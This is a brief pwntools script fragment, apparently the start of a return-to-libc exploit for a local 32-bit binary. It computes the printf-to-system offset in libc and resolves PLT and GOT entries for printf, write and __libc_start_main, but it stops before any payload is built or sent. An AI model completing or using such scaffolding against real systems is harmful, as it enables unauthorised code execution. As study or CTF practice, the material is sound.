pwntool libc

from pwn import *

elf = ELF('./a.out')
#rop = ROP(elf)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

printf_system_offset = libc.symbols['printf'] - libc.symbols['system']

 

printf_plt = elf.plt['printf']
printf_got = elf.got['printf']

write_plt = elf.plt['write']
write_got = elf.got['write']

 

libc_start_main = elf.plt['__libc_start_main']